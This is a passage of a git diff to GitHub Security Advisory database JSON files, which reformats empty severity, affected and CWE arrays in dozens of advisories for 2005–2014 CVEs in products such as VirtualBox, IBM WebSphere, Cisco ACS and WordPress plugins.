a/advisories/unreviewed/2022/05/GHSA-32pp-737v-fvr3/GHSA-32pp-737v-fvr3.json +++ b/advisories/unreviewed/2022/05/GHSA-32pp-737v-fvr3/GHSA-32pp-737v-fvr3.json @@ -7,12 +7,8 @@ "CVE-2013-5892" ], "details": "Unspecified vulnerability in the Oracle VM VirtualBox component in Oracle Virtualization VirtualBox prior to 3.2.20, 4.0.22, 4.1.30, 4.2.22, and 4.3.6 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Core.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -52,9 +48,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-3345-56f6-jwpr/GHSA-3345-56f6-jwpr.json b/advisories/unreviewed/2022/05/GHSA-3345-56f6-jwpr/GHSA-3345-56f6-jwpr.json index ceb0c4c9561..80afde287d2 100644 --- a/advisories/unreviewed/2022/05/GHSA-3345-56f6-jwpr/GHSA-3345-56f6-jwpr.json +++ b/advisories/unreviewed/2022/05/GHSA-3345-56f6-jwpr/GHSA-3345-56f6-jwpr.json @@ -7,12 +7,8 @@ "CVE-2013-6302" ], "details": "SQL injection vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and ACSWeb in AlgoWebApps 5.0.0, allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors, a different vulnerability than CVE-2013-6331.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3345-6fwj-mp93/GHSA-3345-6fwj-mp93.json b/advisories/unreviewed/2022/05/GHSA-3345-6fwj-mp93/GHSA-3345-6fwj-mp93.json index a2aceb95a4a..bd38189954c 100644 --- a/advisories/unreviewed/2022/05/GHSA-3345-6fwj-mp93/GHSA-3345-6fwj-mp93.json +++ b/advisories/unreviewed/2022/05/GHSA-3345-6fwj-mp93/GHSA-3345-6fwj-mp93.json @@ -7,12 +7,8 @@ "CVE-2013-4036" ], "details": "Cross-site scripting (XSS) vulnerability in IBM InfoSphere Master Data Management Server for Product Information Management 9.x before 9.1 FP13, and IBM InfoSphere Master Data Management - Collaborative Edition 10.x before 10.1 FP7 and 11.0 before FP2, allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3367-vgjc-9cv9/GHSA-3367-vgjc-9cv9.json b/advisories/unreviewed/2022/05/GHSA-3367-vgjc-9cv9/GHSA-3367-vgjc-9cv9.json index 6b80b8b071f..c0be80e2426 100644 --- a/advisories/unreviewed/2022/05/GHSA-3367-vgjc-9cv9/GHSA-3367-vgjc-9cv9.json +++ b/advisories/unreviewed/2022/05/GHSA-3367-vgjc-9cv9/GHSA-3367-vgjc-9cv9.json @@ -7,12 +7,8 @@ "CVE-2013-4305" ], "details": "Cross-site scripting (XSS) vulnerability in contrib/example.php in the SyntaxHighlight GeSHi extension for MediaWiki, possibly as downloaded before September 2013, allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3482-6g24-6chg/GHSA-3482-6g24-6chg.json b/advisories/unreviewed/2022/05/GHSA-3482-6g24-6chg/GHSA-3482-6g24-6chg.json index dfea4a7cbed..a2ce01d9b28 100644 --- a/advisories/unreviewed/2022/05/GHSA-3482-6g24-6chg/GHSA-3482-6g24-6chg.json +++ b/advisories/unreviewed/2022/05/GHSA-3482-6g24-6chg/GHSA-3482-6g24-6chg.json @@ -7,12 +7,8 @@ "CVE-2014-0676" ], "details": "Cisco NX-OS allows local users to bypass intended TACACS+ command restrictions via a series of multiple commands, aka Bug ID CSCum47367.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-35q6-95hx-g7w3/GHSA-35q6-95hx-g7w3.json b/advisories/unreviewed/2022/05/GHSA-35q6-95hx-g7w3/GHSA-35q6-95hx-g7w3.json index cdee9535bbd..1ab9d820292 100644 --- a/advisories/unreviewed/2022/05/GHSA-35q6-95hx-g7w3/GHSA-35q6-95hx-g7w3.json +++ b/advisories/unreviewed/2022/05/GHSA-35q6-95hx-g7w3/GHSA-35q6-95hx-g7w3.json @@ -7,12 +7,8 @@ "CVE-2013-3758" ], "details": "Unspecified vulnerability in the Enterprise Manager (EM) Base Platform 10.2.0.5 and 11.1.0.1; EM DB Control 10.2.0.4, 10.2.0.5, 11.1.0.7, 11.2.0.2, and 11.2.0.3; and EM Plugin for DB 12.1.0.2 and 12.1.0.3 in Oracle Enterprise Manager Grid Control allows remote attackers to affect integrity via unknown vectors related to Schema Management.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-36g9-q537-hg7w/GHSA-36g9-q537-hg7w.json b/advisories/unreviewed/2022/05/GHSA-36g9-q537-hg7w/GHSA-36g9-q537-hg7w.json index 1b1940a22c6..5cbc10a09af 100644 --- a/advisories/unreviewed/2022/05/GHSA-36g9-q537-hg7w/GHSA-36g9-q537-hg7w.json +++ b/advisories/unreviewed/2022/05/GHSA-36g9-q537-hg7w/GHSA-36g9-q537-hg7w.json @@ -7,12 +7,8 @@ "CVE-2013-4213" ], "details": "Red Hat JBoss Enterprise Application Platform (EAP) 6.1.0 does not properly cache EJB invocations by the EJB client API, which allows remote attackers to hijack sessions by using an EJB client.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-36q6-fpx2-25qj/GHSA-36q6-fpx2-25qj.json b/advisories/unreviewed/2022/05/GHSA-36q6-fpx2-25qj/GHSA-36q6-fpx2-25qj.json index f33a185b56e..229ef0315ab 100644 --- a/advisories/unreviewed/2022/05/GHSA-36q6-fpx2-25qj/GHSA-36q6-fpx2-25qj.json +++ b/advisories/unreviewed/2022/05/GHSA-36q6-fpx2-25qj/GHSA-36q6-fpx2-25qj.json @@ -7,12 +7,8 @@ "CVE-2013-5429" ], "details": "The Risk Based Access functionality in IBM Tivoli Federated Identity Manager (TFIM) 6.2.2 before FP9 and Tivoli Federated Identity Manager Business Gateway (TFIMBG) 6.2.2 before FP9 does not prevent reuse of One Time Password (OTP) tokens, which makes it easier for remote authenticated users to complete transactions by leveraging access to an already-used token.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-36w9-vg85-fmgj/GHSA-36w9-vg85-fmgj.json b/advisories/unreviewed/2022/05/GHSA-36w9-vg85-fmgj/GHSA-36w9-vg85-fmgj.json index 5e2eab09e6f..1c68dbf45cc 100644 --- a/advisories/unreviewed/2022/05/GHSA-36w9-vg85-fmgj/GHSA-36w9-vg85-fmgj.json +++ b/advisories/unreviewed/2022/05/GHSA-36w9-vg85-fmgj/GHSA-36w9-vg85-fmgj.json @@ -7,12 +7,8 @@ "CVE-2013-3979" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in the help pages in Web\\Content\\Help\\ in the Web Client in IBM Cognos Command Center (aka Star Command Center or Star Analytics) before 10.1, when Internet Explorer is used, allow remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3795-4m6r-47rj/GHSA-3795-4m6r-47rj.json b/advisories/unreviewed/2022/05/GHSA-3795-4m6r-47rj/GHSA-3795-4m6r-47rj.json index 4175bcad9a3..359803ee374 100644 --- a/advisories/unreviewed/2022/05/GHSA-3795-4m6r-47rj/GHSA-3795-4m6r-47rj.json +++ b/advisories/unreviewed/2022/05/GHSA-3795-4m6r-47rj/GHSA-3795-4m6r-47rj.json @@ -7,12 +7,8 @@ "CVE-2013-6809" ], "details": "Format string vulnerability in the client in Tftpd32 before 4.50 allows remote servers to cause a denial of service (crash) or possibly execute arbitrary code via format string specifiers in the Remote File field.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-382g-xjr7-3hcp/GHSA-382g-xjr7-3hcp.json b/advisories/unreviewed/2022/05/GHSA-382g-xjr7-3hcp/GHSA-382g-xjr7-3hcp.json index 7453f7daa7d..a35963e2f45 100644 --- a/advisories/unreviewed/2022/05/GHSA-382g-xjr7-3hcp/GHSA-382g-xjr7-3hcp.json +++ b/advisories/unreviewed/2022/05/GHSA-382g-xjr7-3hcp/GHSA-382g-xjr7-3hcp.json @@ -7,12 +7,8 @@ "CVE-2013-3422" ], "details": "Cross-site scripting (XSS) vulnerability in Administration pages in Cisco Secure Access Control System (ACS) allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka Bug ID CSCud75165.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3f7f-xx86-wcqg/GHSA-3f7f-xx86-wcqg.json b/advisories/unreviewed/2022/05/GHSA-3f7f-xx86-wcqg/GHSA-3f7f-xx86-wcqg.json index 79281371d8c..5d603912139 100644 --- a/advisories/unreviewed/2022/05/GHSA-3f7f-xx86-wcqg/GHSA-3f7f-xx86-wcqg.json +++ b/advisories/unreviewed/2022/05/GHSA-3f7f-xx86-wcqg/GHSA-3f7f-xx86-wcqg.json @@ -7,12 +7,8 @@ "CVE-2014-0823" ], "details": "IBM WebSphere Application Server (WAS) 8.x before 8.0.0.9 and 8.5.x before 8.5.5.2 allows remote attackers to read arbitrary files via a crafted URL.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3f84-gf8q-ggcq/GHSA-3f84-gf8q-ggcq.json b/advisories/unreviewed/2022/05/GHSA-3f84-gf8q-ggcq/GHSA-3f84-gf8q-ggcq.json index d0b740a67c1..773e7b3e39c 100644 --- a/advisories/unreviewed/2022/05/GHSA-3f84-gf8q-ggcq/GHSA-3f84-gf8q-ggcq.json +++ b/advisories/unreviewed/2022/05/GHSA-3f84-gf8q-ggcq/GHSA-3f84-gf8q-ggcq.json @@ -7,12 +7,8 @@ "CVE-2013-5413" ], "details": "IBM Sterling B2B Integrator 5.2 and Sterling File Gateway 2.2 do not invalidate a session upon a logout action, which allows remote attackers to bypass authentication by leveraging an unattended workstation.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3g22-4xc6-m8w3/GHSA-3g22-4xc6-m8w3.json b/advisories/unreviewed/2022/05/GHSA-3g22-4xc6-m8w3/GHSA-3g22-4xc6-m8w3.json index 9b31c14dbb5..d600e703cf6 100644 --- a/advisories/unreviewed/2022/05/GHSA-3g22-4xc6-m8w3/GHSA-3g22-4xc6-m8w3.json +++ b/advisories/unreviewed/2022/05/GHSA-3g22-4xc6-m8w3/GHSA-3g22-4xc6-m8w3.json @@ -7,12 +7,8 @@ "CVE-2013-4020" ], "details": "IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 through 7.1.1.12, and 7.5 before 7.5.0.3 allows remote authenticated users to bypass intended access restrictions via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-3gq3-wqjv-f3fj/GHSA-3gq3-wqjv-f3fj.json b/advisories/unreviewed/2022/05/GHSA-3gq3-wqjv-f3fj/GHSA-3gq3-wqjv-f3fj.json index 29357bcd7b6..f2c8aca17d6 100644 --- a/advisories/unreviewed/2022/05/GHSA-3gq3-wqjv-f3fj/GHSA-3gq3-wqjv-f3fj.json +++ b/advisories/unreviewed/2022/05/GHSA-3gq3-wqjv-f3fj/GHSA-3gq3-wqjv-f3fj.json @@ -7,12 +7,8 @@ "CVE-2005-3623" ], "details": "nfs2acl.c in the Linux kernel 2.6.14.4 does not check for MAY_SATTR privilege before setting access controls (ACL) on files on exported NFS filesystems, which allows remote attackers to bypass ACLs for readonly mounted NFS filesystems.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3gr3-f9wx-8f5h/GHSA-3gr3-f9wx-8f5h.json b/advisories/unreviewed/2022/05/GHSA-3gr3-f9wx-8f5h/GHSA-3gr3-f9wx-8f5h.json index 10399e8628e..0e86d8a0368 100644 --- a/advisories/unreviewed/2022/05/GHSA-3gr3-f9wx-8f5h/GHSA-3gr3-f9wx-8f5h.json +++ b/advisories/unreviewed/2022/05/GHSA-3gr3-f9wx-8f5h/GHSA-3gr3-f9wx-8f5h.json @@ -7,12 +7,8 @@ "CVE-2013-2961" ], "details": "The internal web server in the Basic Services component in IBM Tivoli Monitoring (ITM) 6.2.0 through FP3, 6.2.1 through FP4, 6.2.2 through FP9, and 6.2.3 before FP3, as used in IBM Application Manager for Smart Business (formerly Tivoli Foundations Application Manager) 1.2.1 before 1.2.1.0-TIV-IAMSB-FP0004 and other products, allows remote attackers to perform unspecified redirection of HTTP requests, and bypass the proxy-server configuration, via crafted HTTP traffic.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3hg9-j6q2-m4g8/GHSA-3hg9-j6q2-m4g8.json b/advisories/unreviewed/2022/05/GHSA-3hg9-j6q2-m4g8/GHSA-3hg9-j6q2-m4g8.json index dae378251c6..3196bec9d74 100644 --- a/advisories/unreviewed/2022/05/GHSA-3hg9-j6q2-m4g8/GHSA-3hg9-j6q2-m4g8.json +++ b/advisories/unreviewed/2022/05/GHSA-3hg9-j6q2-m4g8/GHSA-3hg9-j6q2-m4g8.json @@ -7,12 +7,8 @@ "CVE-2013-4625" ], "details": "Cross-site scripting (XSS) vulnerability in files/installer.cleanup.php in the Duplicator plugin before 0.4.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the package parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3hgq-hmm8-5vx3/GHSA-3hgq-hmm8-5vx3.json b/advisories/unreviewed/2022/05/GHSA-3hgq-hmm8-5vx3/GHSA-3hgq-hmm8-5vx3.json index 89a9410f5f6..e2a718830d6 100644 --- a/advisories/unreviewed/2022/05/GHSA-3hgq-hmm8-5vx3/GHSA-3hgq-hmm8-5vx3.json +++ b/advisories/unreviewed/2022/05/GHSA-3hgq-hmm8-5vx3/GHSA-3hgq-hmm8-5vx3.json @@ -7,12 +7,8 @@ "CVE-2013-6224" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in LiveZilla before 5.1.1.0 allow remote attackers to inject arbitrary web script or HTML via (1) a name in the call administrator feature, (2) unspecified vectors to the admins visitor information panel, or (3) a text message in a chat session, which is saved in the archive section.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3hrx-rh52-3vwx/GHSA-3hrx-rh52-3vwx.json b/advisories/unreviewed/2022/05/GHSA-3hrx-rh52-3vwx/GHSA-3hrx-rh52-3vwx.json index a81e3d378db..c4d70e1f889 100644 --- a/advisories/unreviewed/2022/05/GHSA-3hrx-rh52-3vwx/GHSA-3hrx-rh52-3vwx.json +++ b/advisories/unreviewed/2022/05/GHSA-3hrx-rh52-3vwx/GHSA-3hrx-rh52-3vwx.json @@ -7,12 +7,8 @@ "CVE-2013-2652" ], "details": "CRLF injection vulnerability in help/help_language.php in WebCollab 3.30 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the item parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3j94-c55m-42mx/GHSA-3j94-c55m-42mx.json b/advisories/unreviewed/2022/05/GHSA-3j94-c55m-42mx/GHSA-3j94-c55m-42mx.json index ba781449c0e..89f5de7d778 100644 --- a/advisories/unreviewed/2022/05/GHSA-3j94-c55m-42mx/GHSA-3j94-c55m-42mx.json +++ b/advisories/unreviewed/2022/05/GHSA-3j94-c55m-42mx/GHSA-3j94-c55m-42mx.json @@ -7,12 +7,8 @@ "CVE-2014-0825" ], "details": "Cross-site scripting (XSS) vulnerability in openreport.jsp in IBM Maximo Asset Management 7.x before 7.1.1.12 IFIX.20140321-1336 and 7.5.x before 7.5.0.5 IFIX006; SmartCloud Control Desk 7.x before 7.5.0.3 and 7.5.1.x before 7.5.1.2; and Tivoli IT Asset Management for IT, Tivoli Service Request Manager, Maximo Service Desk, and Change and Configuration Management Database (CCMDB) 7.x before 7.1.1.12 IFIX.20140218-1510 allows remote authenticated users to inject arbitrary web script or HTML via a crafted report parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3jjr-jgj8-qpgr/GHSA-3jjr-jgj8-qpgr.json b/advisories/unreviewed/2022/05/GHSA-3jjr-jgj8-qpgr/GHSA-3jjr-jgj8-qpgr.json index 6e33d411ec9..4adeb1d1c0c 100644 --- a/advisories/unreviewed/2022/05/GHSA-3jjr-jgj8-qpgr/GHSA-3jjr-jgj8-qpgr.json +++ b/advisories/unreviewed/2022/05/GHSA-3jjr-jgj8-qpgr/GHSA-3jjr-jgj8-qpgr.json @@ -7,12 +7,8 @@ "CVE-2013-2576" ], "details": "Buffer overflow in Artweaver before 3.1.6 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted AWD file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3m5x-89wr-x574/GHSA-3m5x-89wr-x574.json b/advisories/unreviewed/2022/05/GHSA-3m5x-89wr-x574/GHSA-3m5x-89wr-x574.json index b56db906a0b..95495f4af18 100644 --- a/advisories/unreviewed/2022/05/GHSA-3m5x-89wr-x574/GHSA-3m5x-89wr-x574.json +++ b/advisories/unreviewed/2022/05/GHSA-3m5x-89wr-x574/GHSA-3m5x-89wr-x574.json @@ -7,12 +7,8 @@ "CVE-2013-6426" ], "details": "The cloudformation-compatible API in OpenStack Orchestration API (Heat) before Havana 2013.2.1 and Icehouse before icehouse-2 does not properly enforce policy rules, which allows local in-instance users to bypass intended access restrictions and (1) create a stack via the CreateStack method or (2) update a stack via the UpdateStack method.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-3m86-93x9-px5r/GHSA-3m86-93x9-px5r.json b/advisories/unreviewed/2022/05/GHSA-3m86-93x9-px5r/GHSA-3m86-93x9-px5r.json index fc90bfeec33..ef7e27bcf93 100644 --- a/advisories/unreviewed/2022/05/GHSA-3m86-93x9-px5r/GHSA-3m86-93x9-px5r.json +++ b/advisories/unreviewed/2022/05/GHSA-3m86-93x9-px5r/GHSA-3m86-93x9-px5r.json @@ -7,12 +7,8 @@ "CVE-2013-5938" ], "details": "Cross-site scripting (XSS) vulnerability in the Click2Sell Suite module 6.x-1.x for Drupal allows remote attackers to inject arbitrary web script or HTML via a confirmation form.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3mg6-92v8-8wgc/GHSA-3mg6-92v8-8wgc.json b/advisories/unreviewed/2022/05/GHSA-3mg6-92v8-8wgc/GHSA-3mg6-92v8-8wgc.json index 263a9050770..29db8917417 100644 --- a/advisories/unreviewed/2022/05/GHSA-3mg6-92v8-8wgc/GHSA-3mg6-92v8-8wgc.json +++ b/advisories/unreviewed/2022/05/GHSA-3mg6-92v8-8wgc/GHSA-3mg6-92v8-8wgc.json @@ -7,12 +7,8 @@ "CVE-2013-7143" ], "details": "Cross-site scripting (XSS) vulnerability in Open-Xchange (OX) AppSuite 7.4.1 allows remote attackers to inject arbitrary web script or HTML via the title in a mail filter rule.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3mgr-fjw4-mgpc/GHSA-3mgr-fjw4-mgpc.json b/advisories/unreviewed/2022/05/GHSA-3mgr-fjw4-mgpc/GHSA-3mgr-fjw4-mgpc.json index ed002d0ee5c..d67ca4cd985 100644 --- a/advisories/unreviewed/2022/05/GHSA-3mgr-fjw4-mgpc/GHSA-3mgr-fjw4-mgpc.json +++ b/advisories/unreviewed/2022/05/GHSA-3mgr-fjw4-mgpc/GHSA-3mgr-fjw4-mgpc.json @@ -7,12 +7,8 @@ "CVE-2013-4887" ], "details": "SQL injection vulnerability in index.php in Digital Signage Xibo 1.4.2 allows remote attackers to execute arbitrary SQL commands via the displayid parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3p42-8gxw-6cw4/GHSA-3p42-8gxw-6cw4.json b/advisories/unreviewed/2022/05/GHSA-3p42-8gxw-6cw4/GHSA-3p42-8gxw-6cw4.json index dc852226f6c..93b31f08e85 100644 --- a/advisories/unreviewed/2022/05/GHSA-3p42-8gxw-6cw4/GHSA-3p42-8gxw-6cw4.json +++ b/advisories/unreviewed/2022/05/GHSA-3p42-8gxw-6cw4/GHSA-3p42-8gxw-6cw4.json @@ -7,12 +7,8 @@ "CVE-2013-4694" ], "details": "Stack-based buffer overflow in gen_jumpex.dll in Winamp before 5.64 Build 3418 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a package with a long Skin directory name. NOTE: a second buffer overflow involving a long GUI Search field to ml_local.dll was also reported. However, since it is only exploitable by the user of the application, this issue would not cross privilege boundaries unless Winamp is running under a highly restricted environment such as a kiosk.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3q3p-p4rx-fcjw/GHSA-3q3p-p4rx-fcjw.json b/advisories/unreviewed/2022/05/GHSA-3q3p-p4rx-fcjw/GHSA-3q3p-p4rx-fcjw.json index e8e9f361849..61caff178c6 100644 --- a/advisories/unreviewed/2022/05/GHSA-3q3p-p4rx-fcjw/GHSA-3q3p-p4rx-fcjw.json +++ b/advisories/unreviewed/2022/05/GHSA-3q3p-p4rx-fcjw/GHSA-3q3p-p4rx-fcjw.json @@ -7,12 +7,8 @@ "CVE-2013-5401" ], "details": "The command-port listener in IBM WebSphere MQ Internet Pass-Thru (MQIPT) 2.x before 2.1.0.1 allows remote attackers to cause a denial of service (remote-administration outage) via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-3r3x-2xg7-c268/GHSA-3r3x-2xg7-c268.json b/advisories/unreviewed/2022/05/GHSA-3r3x-2xg7-c268/GHSA-3r3x-2xg7-c268.json index 9db58819e5d..954894f5b4b 100644 --- a/advisories/unreviewed/2022/05/GHSA-3r3x-2xg7-c268/GHSA-3r3x-2xg7-c268.json +++ b/advisories/unreviewed/2022/05/GHSA-3r3x-2xg7-c268/GHSA-3r3x-2xg7-c268.json @@ -7,12 +7,8 @@ "CVE-2013-4058" ], "details": "Multiple SQL injection vulnerabilities in IBM InfoSphere Information Server 8.x through 8.5 FP3, 8.7.x through 8.7 FP2, and 9.1.x through 9.1.2.0 allow remote authenticated users to execute arbitrary SQL commands via unspecified interfaces.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3vg7-r97c-mrmp/GHSA-3vg7-r97c-mrmp.json b/advisories/unreviewed/2022/05/GHSA-3vg7-r97c-mrmp/GHSA-3vg7-r97c-mrmp.json index cd02dd60503..f876563013a 100644 --- a/advisories/unreviewed/2022/05/GHSA-3vg7-r97c-mrmp/GHSA-3vg7-r97c-mrmp.json +++ b/advisories/unreviewed/2022/05/GHSA-3vg7-r97c-mrmp/GHSA-3vg7-r97c-mrmp.json @@ -7,12 +7,8 @@ "CVE-2013-4065" ], "details": "Cross-site scripting (XSS) vulnerability in iNotes in IBM Domino 8.5.x before 8.5.3 FP6 and 9.0.x before 9.0.1, when ultra-light mode is enabled, allows remote attackers to inject arbitrary web script or HTML via active content in an e-mail message, aka SPR TCLE98ZKRP.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3wxj-9hw9-r4p8/GHSA-3wxj-9hw9-r4p8.json b/advisories/unreviewed/2022/05/GHSA-3wxj-9hw9-r4p8/GHSA-3wxj-9hw9-r4p8.json index f3c81ef69c3..880db33b7be 100644 --- a/advisories/unreviewed/2022/05/GHSA-3wxj-9hw9-r4p8/GHSA-3wxj-9hw9-r4p8.json +++ b/advisories/unreviewed/2022/05/GHSA-3wxj-9hw9-r4p8/GHSA-3wxj-9hw9-r4p8.json @@ -7,12 +7,8 @@ "CVE-2013-6163" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in ProjeQtOr (formerly Project'Or RIA) before 4.0.0 allow remote attackers to inject arbitrary web script or HTML via the (1) type parameter to view/parameter.php, (2) p1value parameter to view/main.php, or (3) objectClass parameter to view/objectDetail.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3x36-m3fq-9jv8/GHSA-3x36-m3fq-9jv8.json b/advisories/unreviewed/2022/05/GHSA-3x36-m3fq-9jv8/GHSA-3x36-m3fq-9jv8.json index 8a16fa0b16a..84766521f8e 100644 --- a/advisories/unreviewed/2022/05/GHSA-3x36-m3fq-9jv8/GHSA-3x36-m3fq-9jv8.json +++ b/advisories/unreviewed/2022/05/GHSA-3x36-m3fq-9jv8/GHSA-3x36-m3fq-9jv8.json @@ -7,12 +7,8 @@ "CVE-2013-2498" ], "details": "SQL injection vulnerability in the login page in flexycms/modules/user/user_manager.php in SimpleHRM 2.3, 2.2, and earlier allows remote attackers to execute arbitrary SQL commands via the username parameter to index.php/user/setLogin.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-3xpr-8724-64gv/GHSA-3xpr-8724-64gv.json b/advisories/unreviewed/2022/05/GHSA-3xpr-8724-64gv/GHSA-3xpr-8724-64gv.json index f07f757e2e5..97f2299bbeb 100644 --- a/advisories/unreviewed/2022/05/GHSA-3xpr-8724-64gv/GHSA-3xpr-8724-64gv.json +++ b/advisories/unreviewed/2022/05/GHSA-3xpr-8724-64gv/GHSA-3xpr-8724-64gv.json @@ -7,12 +7,8 @@ "CVE-2013-5881" ], "details": "Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.6.14 and earlier allows remote authenticated users to affect availability via unknown vectors related to InnoDB, a different vulnerability than CVE-2014-0431.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-42cx-qwh9-c3xj/GHSA-42cx-qwh9-c3xj.json b/advisories/unreviewed/2022/05/GHSA-42cx-qwh9-c3xj/GHSA-42cx-qwh9-c3xj.json index 6541143e894..14cae1f203c 100644 --- a/advisories/unreviewed/2022/05/GHSA-42cx-qwh9-c3xj/GHSA-42cx-qwh9-c3xj.json +++ b/advisories/unreviewed/2022/05/GHSA-42cx-qwh9-c3xj/GHSA-42cx-qwh9-c3xj.json @@ -13,9 +13,7 @@ "score": 